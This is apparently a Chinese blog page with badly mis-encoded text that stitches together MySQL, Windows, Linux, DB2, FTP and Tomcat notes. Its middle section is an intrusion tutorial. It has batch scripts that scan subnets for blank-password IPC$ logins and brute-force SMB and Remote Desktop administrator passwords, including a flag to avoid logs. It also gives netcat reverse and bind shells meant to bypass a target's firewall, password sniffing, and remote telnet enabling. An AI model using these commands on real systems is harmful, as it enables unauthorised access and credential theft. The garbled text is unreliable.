mysql -hL地址 -u用户?Qp密码 q接MYSQL;如果刚安装好MYSQLQ超U用户root是没有密码的?br /> Q例Qmysql -h110.110.110.110 -Uroot -P123456
?u与root可以不用加空|其它也一P
exit 退出MYSQL
mysql*** -u用户?-p旧密?password 新密?修改密码
grant select on 数据?* to 用户名@dL identified by ""密码""; 增加新用戗(注意Q和上面不同Q下面的因ؓ是MYSQL环境中的命oQ所以后面都带一个分号作为命令结束符Q?
show databases; 昄数据库列表。刚开始时才两个数据库Qmysql和test。mysql库很重要它里面有MYSQL的系l信息,我们改密码和新增用户Q实际上是用这个库q行操作?
use mysqlQ?br /> show tables; 昄库中的数据表
describe 表名; 昄数据表的l构
create database 库名; 建库
use 库名Q?br /> create table 表名 (字段讑֮列表)Q?
drop database 库名;
drop table 表名Q?删库和删?
delete from 表名; 表中记录清I?
select * from 表名; 昄表中的记?
mysqldump --opt school>school.bbb 备䆾数据库:Q命令在DOS?"mysql""bin目录下执行);注释:数据库school备䆾到school.bbb文gQschool.bbb是一个文本文Ӟ文g名Q取,打开看看你会有新发现?
win2003pȝ下新增命令(实用部䆾Q:
shutdown /参数 关闭或重启本地或q程L?br /> 参数说明Q?S 关闭LQ?R 重启LQ?/T 数字 讑֮延时的时_范围0?80U之_ /A取消开机,/M //IP 指定的远E主机?br /> 例:shutdown /r /t 0 立即重启本地LQ无延时Q?
taskill /参数 q程名或q程的pid l止一个或多个d和进E?br /> 参数说明Q?PID 要终止进E的pid,可用tasklist命o获得各进E的pidQ?IM 要终止的q程的进E名Q?F 强制l止q程Q?T l止指定的进E及他所启动的子q程?
tasklist 昄当前q行在本地和q程L上的q程、服务、服务各q程的进E标识符(PID)?br /> 参数说明Q?M 列出当前q程加蝲的dll文gQ?SVC 昄出每个进E对应的服务Q无参数时就只列出当前的q程?br />
#6 六:

Linuxpȝ下基本命令: 要区分大写
uname 昄版本信息Q同win2K?verQ?
dir 昄当前目录文g,ls -al 昄包括隐藏文gQ同win2K?dirQ?
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd ?.之间有空根{cd /q回到根目录?
cat 文g?查看文g内容
cat >abc.txt 往abc.txt文g中写上内宏V?
more 文g?以一一늚方式昄一个文本文件?
cp 复制文g
mv Ud文g
rm 文g?删除文gQrm -a 目录名删除目录及子目?
mkdir 目录?建立目录
rmdir 删除子目录,目录内没有文档?
chmod 讑֮档案或目录的存取权限
grep 在档案中查找字符?
diff 档案文g比较
find 档案搜寻
date 现在的日期、时?
who 查询目前和你使用同一台机器的Z及Login旉地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名U?
groups 查看某h的Group
passwd 更改密码
history 查看自己下过的命?
ps 昄q程状?
kill 停止某进E?
gcc 黑客通常用它来编译C语言写的文g
su 权限转换为指定用?
telnet IP telnetq接Ҏ(gu)LQ同win2KQ,当出现bash$时就说明q接成功?
ftp ftpq接上某服务器(同win2KQ?

附:批处理命令与变量

1Qfor命o及变?基本格式Q?
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数Q如Q?i Q而指定一个变量则用:%%i Q而调用变量时用:%i% Q变量是区分大小写的Q?i 不等?%IQ?br /> 批处理每ơ能处理的变量从%0?9?0个,其中%0默认l批处理文g名用,%1默认Z用此批处理时输入的的W一个|同理Q?2?9指输入的W?-9个|例:net use ""ip"ipc$ pass /user:user 中ip?1,pass?2 ,user?3

(set):指定一个或一l文Ӟ可用通配W,如:(D:"user.txt)?1 1 254)(1 -1 254),{ “(1 1 254)”W一?1"指v始|W二?1"指增镉KQ第三个"254"指结束|卻I??54Q?#8220;(1 -1 254)”说明Q即?54? }

commandQ指定对W个文g执行的命令,如:net use命oQ如要执行多个命令时Q命令这间加Q?amp; 来隔开
command_parametersQؓ特定命o指定参数或命令行开?br />
IN (set)Q指?set)中取|DO command Q指执行command

参数Q?L 指用增量形式{ (set)为增量Ş式时 }Q?F 指从文g中不断取|直到取完为止{ (set)为文件时Q如(d:"pass.txt)?}?
用法举例Q?
@echo off
echo 用法格式Qtest.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use ""%1.%%G /user:***istrator | find "命o成功完成" >>test.txt
存ؓtest.bat 说明Q对指定的一个CcȝD늚254个IP依次试徏?**istrator密码为空的IPC$q接Q如果成功就把该IP存在test.txt中?br />
/L指用增量形式Q即?-254?54-1Q;输入的IP前面三位Q?.*.*为批处理默认?%1Q?%G 为变?ip的最后一位)Q?amp; 用来隔开echo 和net use q二个命令;| 指徏立了ipc$后,在结果中用find查看是否?命o成功完成"信息Q?1.%%G 为完整的IP地址Q?1 1 254) 指v始|增长量,l止倹{?
@echo off
echo 用法格式Qok.bat ip
FOR /F %%i IN (D:"user.dic) DO smb.exe %1 %%i D:"pass.dic 200
存ؓQok.exe 说明Q输入一个IP后,用字典文件d:"pass.dic来暴解d:"user.dic中的用户密码Q直到文件中值取完ؓ止?%i为用户名Q?1入的IP地址Q默认)。http://www.jz5u.com

#7 七:

2Qif命o及变?基本格式Q?
IF [not] errorlevel 数字 命o语句 如果E序q行最后返回一个等于或大于指定数字的退出编码,指定条g?#8220;?#8221;?br /> 例:IF errorlevel 0 命o 指程序执行后q回的gؓ0ӞD后面的命令;IF not errorlevel 1 命o指程序执行最后返回的g{于1Q就执行后面的命令?br /> 0 指发现ƈ成功执行Q真Q;1 指没有发现、没执行Q假Q?
IF [not] 字符?==字符? 命o语句 如果指定的文本字W串匚wQ即Q字W串1 {于 字符?Q,执行后面的命o?br /> 例:“if "%2%"=="4" goto start”指:如果输入的第二个变量?Ӟ执行后面的命令(注意Q调用变量时?变量?q加" "Q?
IF [not] exist 文g?命o语句 如果指定的文件名存在Q就执行后面的命令?br /> 例:“if not nc.exe goto end”指:如果没有发现nc.exe文gp?:end"标签处?
IF [not] errorlevel 数字 命o语句 else 命o语句?IF [not] 字符?==字符? 命o语句 else 命o语句?IF [not] exist 文g?命o语句 else 命o语句 加上Qelse 命o语句后指Q当前面的条件不成立Ӟ指行else后面的命令。注意:else 必须?if 在同一行才有效?当有del命o旉把del命o全部内容?lt; >括v来,因ؓdel命o要单独一行时才能执行Q用?lt; >后就{于是单独一行了Q例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”Q注意命令中?#8220;.”

Q二Q系l外部命?均需下蝲相关工具)Q?br />
1、瑞士军刀Qnc.exe

参数说明Q?
-h 查看帮助信息
-d 后台模式
-e progE序重定向,一但连接就执行Qd险]
-i secs延时的间?
-l 监听模式Q用于入站连?
-L 监听模式Q连接天闭后仍然l箋监听Q直到CTR+C
-n IP地址Q不能用域名
-o film记录16q制的传?
-p[I格]端口 本地端口?
-r 随机本地及远E端?
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出Q用-vv更详细
-w数字 timeout延时间隔
-z 输入,输出xQ用于扫锚时Q?
基本用法Q?
nc -nvv 192.168.0.1 80 q接?92.168.0.1L?0端口
nc -l -p 80 开启本机的TCP 80端口q监?
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1?0-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe l定remoteL的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remoteL的cmdshellq反向连?92.168.0.2?354端口
高用法Q?
nc -L -p 80 作ؓ蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C为止
nc -L -p 80 > c:"log.txt 作ؓ蜜罐?Q开启ƈ不停地监?0端口Q直到CTR+C,同时把结果输出到c:"log.txt
nc -L -p 80 < c:"honeyport.txt 作ؓ蜜罐?-1Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:"honeyport.txt中内定w入道中,亦可起到传送文件作?
type.exe c:"honeyport | nc -L -p 80 作ؓ蜜罐?-2Q开启ƈ不停地监?0端口Q直到CTR+C,q把c:"honeyport.txt中内定w入道?亦可起到传送文件作?
本机上用Qnc -l -p 本机端口
在对方主Z用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向q接H破Ҏ(gu)L的防火墙
本机上用Qnc -d -l -p 本机端口 < 要传送的文g路径及名U?
在对方主Z用:nc -vv 本机IP 本机端口 > 存放文g的\径及名称 传送文件到Ҏ(gu)L
?注:
| 道命o
< ?> 重定向命令?#8220;<”Q例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命o
Q?表示执行Q后面的命oQ但不会昄出来Q后台执行)Q例Q@dir c:"winnt >> d:"log.txt 意思是Q后台执行dirQƈ把结果存在d:"log.txt?
>?gt;>的区? ">"指:覆盖Q?>>"指:保存?d刎ͼ?br /> 如:@dir c:"winnt >> d:"log.txt和@dir c:"winnt > d:"log.txt二个命o分别执行二次比较看:?gt;>的则是把二次的结果都保存了,而用Q?gt;则只有一ơ的l果Q是因ؓW二ơ的l果把第一ơ的覆盖了?br />
#8 八:

2、扫锚工Pxscan.exe

基本格式
xscan -host <起始IP>[-<l止IP>] <项?gt; [其他选项] 扫锚"起始IP到终止IP"D늚所有主Z?
xscan -file <L列表文g?gt; <项?gt; [其他选项] 扫锚"LIP列表文g?中的所有主Z?
项?
-active 主机是否存?gu)z?
-os 远E操作系l类型(通过NETBIOS和SNMP协议Q?
-port 常用服务的端口状?
-ftp FTP弱口?
-pub FTP服务匿名用户写权?
-pop3 POP3-Server弱口?
-smtp SMTP-Server漏洞
-sql SQL-Server弱口?
-smb NT-Server弱口?
-iis IIS~码/解码漏洞
-cgi CGI漏洞
-nasl 加蝲Nessusd脚本
-all 以上所有项?
其它选项
-i 适配器编?讄|络适配? <适配器编?gt;可通过"-l"参数获取
-l 昄所有网l适配?
-v 昄详细扫描q度
-p 跌没有响应的主?
-o 跌没有到开攄口的L
-t q发U程数量,q发L数量 指定最大ƈ发线E数量和q发L数量, 默认数量?00,10
-log 文g?指定扫描报告文g?(后缀为:TXT或HTML格式的文?
用法CZ
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  ?92.168.1.1-192.168.255.255|段内主机的所有漏z,跌无响应的L
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o ?92.168.1.1-192.168.255.255|段内主机的标准端口状态,NT弱口令用P最大ƈ发线E数量ؓ150Q蟩q没有检到开攄口的L
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o ?#8220;hostlist.txt”文g中列出的所有主机的标准端口状态,CGI漏洞Q最大ƈ发线E数量ؓ200Q同一时刻最多检?C机,昄详细进度,跌没有到开攄口的Lwww.jz5u.com

#9 ?ji)?br />
3、命令行方式嗅探? xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据?
-udp 输出UDP数据?
-icmp 输出ICMP数据?
-pass qo密码信息
-hide 后台q行
-host 解析L?
-addr IP地址 qoIP地址
-port 端口 qo端口
-log 文g?输Z存到文g
-asc 以ASCII形式输出
-hex ?6q制形式输出
用法CZ
xsniff.exe -pass -hide -log pass.log 后台q行嗅探密码q将密码信息保存在pass.log文g?
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1q过滤tcp和udp信息q以ASCII格式输出

4、终端服务密码破? tscrack.exe

参数说明
-h 昄使用帮助
-v 昄版本信息
-s 在屏q上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个q接Q多U程Q?
-N Prevent System Log entries on targeted server
-U 卸蝲U除tscracklg
-f 使用Qf后面的密?
-F 间隔旉Q频率)
-l 使用Ql后面的用户名
-w 使用Qw后面的密码字?
-p 使用Qp后面的密?
-D d主页?
用法CZ
tscrack 192.168.0.1 -l ***istrator -w pass.dic q程用密码字典文件暴破主机的***istrator的登陆密?
tscrack 192.168.0.1 -l ***istrator -p 123456 用密?23456q程登陆192.168.0.1?**istrator用户
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存?389.bat) Q假讄有用SuperScan或其它扫锚器扫到一批开?389的主机IP列表文g3389.txt)
3389.bat意思是Q从3389.txt文g中取一个IPQ接着q行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l ***istrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (q行3389.batO(jin)KQ且3389.bat、hack.bat?389.txt、pass.dic与tscrack.exe在同一个目录下Q就可以{待l果?
hack.bat意思是Q运行tscrack.exe用字典暴?389.txt中所有主机的***istrator密码Qƈ破解结果保存在rouji.txt文g中?

5、其它:

Shutdown.exe
Shutdown ""IP地址 t:20 20U后对方NT自动关闭QWindows 2003pȝ自带工具Q在Windows2000下用q就得下载此工具才能用。在前面Windows 2003 DOS命o中有详细介绍。)
fpipe.exe (TCP端口重定向工? 在第二篇中有详细说明Q端口重定向l过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你?0端口Ӟ他扫到的l果会完全是www.sina.com.cn的主Z?
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnethl端口重定向后,通过88端口发送到目标IP?3端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后Q直接Telnet 127.0.0.1Q本机IPQ就q接到目标IP?3端口了?
OpenTelnet.exe (q程开启telnet工具)
opentelnet.exe ""IP 帐号 密码 ntlm认证方式 Telnet端口 Q不需要上传ntlm.exe破坏微Y的n份验证方式)直接q程开启对方的telnet服务后,可用telnet ""ip q接上对斏V?br /> NTLM认证方式Q0Q不使用NTLMw䆾验证Q1Q先试NTLMw䆾验证Q如果失败,再用用户名和密码;Q:只用NTLMw䆾验证?br />
ResumeTelnet.exe (OpenTelnet附带的另一个工?
resumetelnet.exe ""IP 帐号 密码 用Telnetq接完对方后Q就用这个命令将Ҏ(gu)的Telnet讄q原Qƈ同时关闭Telnet服务?br />
#10 十:

6、FTP命o详解Q?br />
FTP命o是Internet用户使用最频繁的命令之一Q熟(zhn)ƈ灉|应用FTP的内部命令,可以大大方便使用者,q收C半功倍之效。如果你惛_习用进行后台FTP下蝲Q那么就必须学习FTP指o?br />
FTP的命令行格式为:
ftp -v -d -i -n -g [L名] Q其?br />
-v 昄q程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用Q?n etrc文gQ?br />
-d 使用调试方式Q?br />
-g 取消全局文g名?br />
FTP使用的内部命令如?中括可C可选项):

1.![cmd[args]]Q在本地Z执行交互shellQexit回到ftp环境Q如Q?ls*.zip
2.$ macro-ame[args]Q?执行宏定义macro-name?br />
3.account[password]Q?提供dq程pȝ成功后访问系l资源所需的补充口令?
4.append local-file[remote-file]Q将本地文gq加到远E系l主机,若未指定q程pȝ文g名,则用本地文件名?br />
5.asciiQ用asciicd传输方式?br /> 6.bellQ每个命令执行完毕后计算机响铃一ơ?br />
7.binQ用二q制文g传输方式?br /> 8.byeQ退出ftp会话q程?br />
9.caseQ在使用mgetӞ远E主机文件名中的大写转ؓ写字母?
10.cd remote-dirQ进入远E主机目录?br />
11.cdupQ进入远E主机目录的父目录?
12.chmod mode file-nameQ将q程L文gfile-name的存取方式设|ؓmodeQ如Qchmod 777 a.out?br />
13.closeQ中断与q程服务器的ftp会话(与open对应)?
14.crQ用asscii方式传输文gӞ回车换行{换ؓ回行?br />
15.delete remote-fileQ删除远E主机文件?
16.debug[debug-value]Q设|调试方式, 昄发送至q程L的每条命令,如:deb up 3Q若设ؓ0Q表C取消debug?br />
17.dir[remote-dir][local-file]Q显CE主机目录,q将l果存入本地文g?
18.disconnectionQ同close?br />
19.form formatQ将文g传输方式讄为formatQ缺省ؓfile方式?
20.get remote-file[local-file]Q?远E主机的文gremote-file传至本地盘的local-file?br />
21.globQ设|mdeleteQmgetQmput的文件名扩展Q缺省时不扩展文件名Q同命o行的-g参数?
22.hashQ每传输1024字节Q显CZ个hashW号(#)?br />
23.help[cmd]Q显Cftp内部命ocmd的帮助信息,如:help get?
24.idle[seconds]Q将q程服务器的休眠计时器设为[seconds]U?br />
25.imageQ设|二q制传输方式(同binary)?
26.lcd[dir]Q将本地工作目录切换至dir?br />
27.ls[remote-dir][local-file]Q显CE目录remote-dirQ?q存入本地文件local-file?
28.macdef macro-nameQ定义一个宏Q遇到macdef下的IӞ宏定义结束?br />
29.mdelete[remote-file]Q删除远E主机文件?
30.mdir remote-files local-fileQ与dircMQ但可指定多个远E文Ӟ?Qmdir *.o.*.zipoutfile ?br />
31.mget remote-filesQ传输多个远E文件?
32.mkdir dir-nameQ在q程L中徏一目录?br />
33.mls remote-file local-fileQ同nlistQ但可指定多个文件名?
34.mode[modename]Q将文g传输方式讄为modenameQ?~省为stream方式?br />
35.modtime file-nameQ显CE主机文件的最后修Ҏ(gu)间?
36.mput local-fileQ将多个文g传输臌E主机?br />
37.newer file-nameQ?如果q程Zfile-name的修Ҏ(gu)间比本地盘同名文g的时间更q,则重传该文g?br /> 38.nlist[remote-dir][local-file]Q显CE主机目录的文g清单Qƈ存入本地盘的local-file?br />
39.nmap[inpattern outpattern]Q设|文件名映射机制Q?使得文g传输Ӟ文g中的某些字符怺转换Q?如:nmap $1.$2.$3[$1Q?2].[$2Q?3]Q则传输文ga1.a2.a3Ӟ文g名变为a1Qa2?该命令特别适用于远E主Zؓ非UNIX机的情况?br /> 40.ntrans[inchars[outchars]]Q设|文件名字符的翻译机Ӟ如ntrans1RQ则文g名LLL变为RRR?br />
41.open host[port]Q徏立指定ftp服务器连接,可指定连接端口?
42.passiveQ进入被动传输方式?br />
43.promptQ设|多个文件传输时的交互提C?
44.proxy ftp-cmdQ在ơ要控制q接中,执行一条ftp命oQ?该命令允许连接两个ftp服务器,以在两个服务器间传输文g。第一条ftp命o必须为openQ以首先建立两个服务器间的连接?br /> 45.put local-file[remote-file]Q将本地文glocal-file传送至q程L?
46.pwdQ显CE主机的当前工作目录?br />
47.quitQ同byeQ退出ftp会话?
48.quote arg1Qarg2...Q将参数逐字发至q程ftp服务器,如:quote syst.

49.recv remote-file[local-file]Q同get?
50.reget remote-file[local-file]Q类ggetQ?但若local-file存在Q则从上ơ传输中断处l传?br />
51.rhelp[cmd-name]Q请求获得远E主机的帮助?
52.rstatus[file-name]Q若未指定文件名Q则昄q程L的状态, 否则昄文g状态?br />
53.rename[from][to]Q更改远E主机文件名?
54.resetQ清除回{队列?br />
55.restart markerQ从指定的标志marker处,重新开始get或putQ如Qrestart 130?
56.rmdir dir-nameQ删除远E主机目录?br />
57.runiqueQ设|文件名只一性存储,若文件存在,则在原文件后加后~.1Q?.2{?
58.send local-file[remote-file]Q同put?br />
59.sendportQ设|PORT命o的用?
60.site arg1Qarg2...Q将参数作ؓSITE命o逐字发送至q程ftpL?br />
61.size file-nameQ显CE主机文件大,如:site idle 7200?
62.statusQ显C当前ftp状态。www.jz5u.com

63.struct[struct-name]Q将文g传输l构讄为struct-nameQ?~省时用streaml构?
64.suniqueQ将q程L文g名存储设|ؓ只一(与runique对应)?br />
65.systemQ显CE主机的操作pȝcd?
66.tenexQ将文g传输cd讄为TENEX机的所需的类型?br />
67.tickQ设|传输时的字节计数器?
68.traceQ设|包跟踪?br />
69.type[type-name]Q设|文件传输类型ؓtype-nameQ缺省ؓasciiQ如:type binaryQ设|二q制传输方式?
70.umask[newmask]Q将q程服务器的~省umask讄为newmaskQ如Qumask 3

71.user user-name[password][account]Q向q程L表明自己的n份,需要口令时Q必输入口令,如:user anonymous my@email?
72.verboseQ同命o行的-v参数Q即讄详尽报告方式Qftp 服务器的所有响 应都显C给用户Q缺省ؓon.

73.?[cmd]Q同help.

#11 十一Q?br />
7Q计机q行命o全集 winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
winver---------查Windows版本
wmimgmt.msc----打开windows理体系l构
wupdmgr--------windows更新E序
wscript--------windows脚本宿主讄
write----------写字板winmsd-----pȝ信息
wiaacmgr-------扫描仪和照相机向?br /> winchat--------XP自带局域网聊天
mem.exe--------昄内存使用情况
Msconfig.exe---pȝ配置实用E序
mplayer2-------易widnows media player
mspaint--------d?br /> mstsc----------q程桌面q接
mplayer2-------媒体播放?br /> magnify--------攑֤镜实用程?br /> mmc------------打开控制?br /> mobsync--------同步命o
dxdiag---------查DirectX信息
drwtsn32------ pȝȝ
devmgmt.msc--- 讑֤理?br /> dfrg.msc-------盘片整理E序
diskmgmt.msc---盘理实用E序
dcomcnfg-------打开pȝlg服务
ddeshare-------打开DDE׃n讄
dvdplay--------DVD播放?br /> net stop messenger-----停止信服务
net start messenger----开始信使服?
notepad--------打开C?br /> nslookup-------|络理的工具向?br /> ntbackup-------pȝ备䆾和还?br /> narrator-------屏幕"讲述?
ntmsmgr.msc----Ud存储理?br /> ntmsoprq.msc---Ud存储理员操作请?br /> netstat -an----(TC)命o查接?br /> syncapp--------创徏一个公文包
sysedit--------pȝ配置~辑?br /> sigverif-------文g{֐验证E序
sndrec32-------录音?br /> shrpubw--------创徏׃n文g?br /> secpol.msc-----本地安全{略
syskey---------pȝ加密Q一旦加密就不能解开Q保护windows xppȝ的双重密?br /> services.msc---本地服务讄
Sndvol32-------音量控制E序
sfc.exe--------pȝ文g查器
sfc /scannow---windows文g保护
tsshutdn-------60U倒计时关机命?br /> tourstart------xp介(安装完成后出现的漫游xpE序Q?br /> taskmgr--------d理?br /> eventvwr-------事g查看?br /> eudcedit-------造字E序
explorer-------打开资源理?br /> packager-------对象包装E序
perfmon.msc----计算机性能监测E序
progman--------E序理?br /> regedit.exe----注册?
rsop.msc-------l策略结果集
regedt32-------注册表编辑器
rononce -p ----15U关?br /> regsvr32 /u *.dll----停止dll文gq行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命o提示W?br /> chkdsk.exe-----Chkdsk盘?gu)?br /> certmgr.msc----证书理实用E序
calc-----------启动计算?br /> charmap--------启动字符映射?br /> cliconfg-------SQL SERVER 客户端网l实用程?br /> Clipbrd--------剪脓(chung)板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管?br /> cleanmgr-------**整理
ciadv.msc------索引服务E序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----查XP是否Ȁz?br /> lusrmgr.msc----本机用户和组
logoff---------注销命o
iexpress-------木马捆绑工具Q系l自?br /> Nslookup-------IP地址侦测?br /> fsmgmt.msc-----׃n文g夹管理器
utilman--------辅助工具理?br /> gpedit.msc-----l策?br />

cyanbomb 2007-12-28 10:13 发表评论
]]>
db2常用口ohttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171081.htmlcyanbombcyanbombFri, 28 Dec 2007 02:04:00 GMThttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171081.htmlhttp://www.tkk7.com/cyanbomb/comments/171081.htmlhttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171081.html#Feedback0http://www.tkk7.com/cyanbomb/comments/commentRss/171081.htmlhttp://www.tkk7.com/cyanbomb/services/trackbacks/171081.html查看当前db2实例中有那些数据库:

db2 list database directory

查看数据库中有那些表Q?br /> db2 connect to db_name user xxx using xxxx
db2 list tables

列出用户创徏的所有表
db2 list tables for user_name

列出所有schema为xx的表
db2 list tables for schema xxx

查看某个表中的字D|况:

db2 describe table table_name
db2 describe table table_name show detail

------------------------------------------------------------------------

1. 建立数据库DB2_GCB

CREATE DATABASE DB2_GCB ON G: ALIAS DB2_GCB

USING CODESET GBK TERRITORY CN COLLATE USING SYSTEM DFT_EXTENT_SZ 32

2. q接数据?

connect to sample1 user db2admin using 8301206

3. 建立别名

create alias db2admin.tables for sysstat.tables;

CREATE ALIAS DB2ADMIN.VIEWS FOR SYSCAT.VIEWS

create alias db2admin.columns for syscat.columns;

create alias guest.columns for syscat.columns;

4. 建立?

create table zjt_tables as

(select * from tables) definition only;

create table zjt_views as

(select * from views) definition only;

5. 插入记录

insert into zjt_tables select * from tables;

insert into zjt_views select * from views;

6. 建立视图

create view V_zjt_tables as select tabschema,tabname from zjt_tables;

7. 建立触发?

CREATE TRIGGER zjt_tables_del

AFTER DELETE ON zjt_tables

REFERENCING OLD AS O

FOR EACH ROW MODE DB2SQL

Insert into zjt_tables1 values(substr(o.tabschema,1,8),substr(o.tabname,1,10))

8. 建立唯一性烦?

CREATE UNIQUE INDEX I_ztables_tabname

[size=3]ON zjt_tables(tabname);

9. 查看?

select tabname from tables

where tabname='ZJT_TABLES';

10. 查看?

select SUBSTR(COLNAME,1,20) as 列名,TYPENAME as cd,LENGTH as 长度

from columns

where tabname='ZJT_TABLES';

11. 查看表结?

db2 describe table user1.department

db2 describe select * from user.tables

12. 查看表的索引

db2 describe indexes for table user1.department

13. 查看视图

select viewname from views

where viewname='V_ZJT_TABLES';

14. 查看索引

select indname from indexes

where indname='I_ZTABLES_TABNAME';

15. 查看存贮q程

SELECT SUBSTR(PROCSCHEMA,1,15),SUBSTR(PROCNAME,1,15)

FROM SYSCAT.PROCEDURES;

16. cd转换(cast)

ip datatype:varchar

select cast(ip as integer)+50 from log_comm_failed

17. 重新q接

connect reset

18. 中断数据库连?

disconnect db2_gcb

19. view application

LIST APPLICATION;

20. kill application

FORCE APPLICATION(0);

db2 force applications all (所应用E序从数据库断开)

21. lock table

lock table test in exclusive mode

22. ׃n

lock table test in share mode

23. 昄当前用户所有表

list tables

24. 列出所有的pȝ?

list tables for system

25. 昄当前zd数据?

list active databases

26. 查看命o选项

list command options

27. pȝ数据库目?

LIST DATABASE DIRECTORY

28. 表空?

list tablespaces

29. 表空间容?

LIST TABLESPACE CONTAINERS FOR

Example: LIST TABLESPACE CONTAINERS FOR 1

30. 昄用户数据库的存取权限

GET AUTHORIZATIONS

31. 启动实例

DB2START

32. 停止实例

db2stop

33. 表或视图Ҏ(gu)

grant select,delete,insert,update on tables to user

grant all on tables to user WITH GRANT OPTION

34. E序包特?

GRANT EXECUTE

ON PACKAGE PACKAGE-name

TO PUBLIC

35. 模式Ҏ(gu)

GRANT CREATEIN ON SCHEMA SCHEMA-name TO USER

36. 数据库特?

grant connect,createtab,dbadm on database to user

37. 索引Ҏ(gu)

grant control on index index-name to user

38. 信息帮助 (? XXXnnnnn )

?? SQL30081

39. SQL 帮助(说明 SQL 语句的语?

help statement

例如Qhelp SELECT

40. SQLSTATE 帮助(说明 SQL 的状态和cd代码)

? sqlstate ?? class-code

41. 更改?理务器"相关的口?

db2admin setid username password

42. 创徏 SAMPLE 数据?

db2sampl

db2sampl F:(指定安装?

43. 使用操作pȝ?

! dir

44. 转换数据cd (cast)

SELECT EMPNO, CAST(RESUME AS VARCHAR(370))

FROM EMP_RESUME

WHERE RESUME_FORMAT = 'ascii'

45. UDF

要运?DB2 Java 存储q程?UDFQ还需要更新服务器上的 DB2 数据库管理程序配|,以包括在该机器上安装 JDK 的\?

db2 update dbm cfg using JDK11_PATH d:sqllibjavajdk

TERMINATE

update dbm cfg using SPM_NAME sample

46. ?DB2 数据库管理程序配|?

db2 get dbm cfg

47. 索具有特权的所有授权名

SELECT DISTINCT GRANTEE, GRANTEETYPE, 'DATABASE' FROM SYSCAT.DBAUTH

UNION

SELECT DISTINCT GRANTEE, GRANTEETYPE, 'TABLE ' FROM SYSCAT.TABAUTH

UNION

SELECT DISTINCT GRANTEE, GRANTEETYPE, 'PACKAGE ' FROM SYSCAT.PACKAGEAUTH

UNION

SELECT DISTINCT GRANTEE, GRANTEETYPE, 'INDEX ' FROM SYSCAT.INDEXAUTH

UNION

SELECT DISTINCT GRANTEE, GRANTEETYPE, 'COLUMN ' FROM SYSCAT.COLAUTH

UNION

SELECT DISTINCT GRANTEE, GRANTEETYPE, 'SCHEMA ' FROM SYSCAT.SCHEMAAUTH

UNION

SELECT DISTINCT GRANTEE, GRANTEETYPE, 'SERVER ' FROM SYSCAT.PASSTHRUAUTH

ORDER BY GRANTEE, GRANTEETYPE, 3

create table yhdab

(id varchar(10),

password varchar(10),

ywlx varchar(10),

kh varchar(10));

create table ywlbb

(ywlbbh varchar(8),

ywmc varchar(60))

48. 修改表结?

alter table yhdab ALTER kh SET DATA TYPE varchar(13);

alter table yhdab ALTER ID SET DATA TYPE varchar(13);

alter table lst_bsi alter bsi_money set data type int;

insert into yhdab values

('20000300001','123456','user01','20000300001'),

('20000300002','123456','user02','20000300002');

49. 业务型说?

insert into ywlbb values

('user01','业务甌'),

('user02','业务撤消'),

('user03','费用查询'),

('user04','费用自缴'),

('user05','费用预存'),

('user06','密码修改'),

('user07','发票打印'),

('gl01','改用户基本信?),

('gl02','更改支付信息'),

('gl03','日统计功?,

('gl04','冲帐功能'),

('gl05','对帐功能'),

('gl06','计费功能'),

('gl07','l合l计')



cyanbomb 2007-12-28 10:04 发表评论
]]>
Tomcat启动错误及解x法(怹更新中)http://www.tkk7.com/cyanbomb/archive/2007/12/28/171079.htmlcyanbombcyanbombFri, 28 Dec 2007 01:54:00 GMThttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171079.htmlhttp://www.tkk7.com/cyanbomb/comments/171079.htmlhttp://www.tkk7.com/cyanbomb/archive/2007/12/28/171079.html#Feedback5http://www.tkk7.com/cyanbomb/comments/commentRss/171079.htmlhttp://www.tkk7.com/cyanbomb/services/trackbacks/171079.html错误信息 :
1. org.apache.commons.dbcp.SQLNestedException: Cannot create PoolableConnectionFactory (Network error IOException: Connection refused: connect)
2. Caused by: java.sql.SQLException: Network error IOException: Connection refused: connect
3. Caused by: java.net.ConnectException: Connection refused: connect
解决Ҏ(gu)Q数据库未开情况下运行tomcat出现的问题,把数据库打开p?br />
错误信息 : WARN  [struts2.config.Settings] Settings: Could not parse struts.locale setting, substituting default VM locale
解决Ҏ(gu) : ?struts.properties 文g中加?struts.locale=en_utf-8

错误信息 : log4j:WARN No appenders could be found for logger (org.springframework.web.context.ContextLoader).
